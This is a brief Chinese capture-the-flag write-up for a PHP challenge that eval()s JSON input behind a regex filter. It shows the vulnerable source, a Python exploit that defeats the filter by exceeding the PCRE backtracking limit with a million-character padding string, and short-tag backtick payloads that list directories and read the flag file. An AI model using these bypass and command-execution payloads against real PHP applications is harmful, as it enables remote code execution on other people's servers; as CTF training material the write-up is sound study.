题目链接

0x1 分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
 <?php
include "check.php";
if (isset($_REQUEST['letter'])){
$txw4ever = $_REQUEST['letter'];
if (preg_match('/^.*([\w]|\^|\*|\(|\~|\`|\?|\/| |\||\&|!|\<|\>|\{|\x09|\x0a|\[).*$/m',$txw4ever)){
die("再加把油喔");
}
else{
$command = json_decode($txw4ever,true)['cmd'];
checkdata($command);
@eval($command);
}
}
else{
highlight_file(__FILE__);
}
?>

严格正则过滤,尝试PCRE回溯绕过

具体见 PHP利用PCRE回溯次数限制绕过某些安全限制

0x2 exp

1
2
3
4
5
6
import requests

js = '{"cmd":"system(\'ls\');", "t":"' + '@' * 1000000 + '"}' # 回溯得用@^等特殊字符
data = { 'letter': js }
res = requests.post(url='http://node4.anna.nssctf.cn:28296/', data=data)
print(res.text)

但是得到差一点点捏 尝试多次发现system, exec, assert等都被过滤 尝试使用短标签

1
?><?=`ls`;?>

?>闭合了eval自带的<?标签 接下来使用了短标签 <?=相当于<?echo

1
2
js = '{"cmd":"?><?=`ls /`;?>", "t":"' + '@' * 1000000 + '"}'
js = '{"cmd":"?><?=`nl /f*`;?>", "t":"' + '@' * 1000000 + '"}' # cat, tac, flag都被过滤
⬆︎TOP